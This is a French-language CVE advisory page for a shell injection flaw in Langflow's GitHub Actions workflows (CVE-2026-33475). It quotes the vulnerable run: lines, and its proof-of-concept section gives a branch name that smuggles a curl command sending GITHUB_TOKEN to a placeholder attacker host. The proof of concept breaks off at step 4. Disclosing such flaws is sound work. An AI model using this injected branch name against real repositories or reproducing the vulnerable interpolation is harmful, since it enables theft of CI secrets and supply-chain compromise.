Catégories
CVE-2026-33475

Langflow GitHub Actions Shell Injection

Résumé

Langflow GitHub Actions Shell Injection

Description d'origine

La description telle que publiée par la source (souvent en anglais).

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.


Details

Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:

run: |
  validate_branch_name "${{ github.event.pull_request.head.ref }}"

Or:

run: npx playwright install ${{ inputs.browsers }} --with-deps

Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.


PoC

  1. Fork the Langflow repository
  2. Create a new branch with the name:
    injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
    
  3. Open a Pull Request to the main branch from the new branch
  4. GitHub Actions will run…

Source: OSV.dev (Open Source Vulnerabilities) NVD GitHub Advisory OSV

Références

Nous utilisons des cookies pour l'analyse d'audience et la mesure publicitaire. Ce réglage s'applique à tous les sites de Game co., Ltd. En savoir plus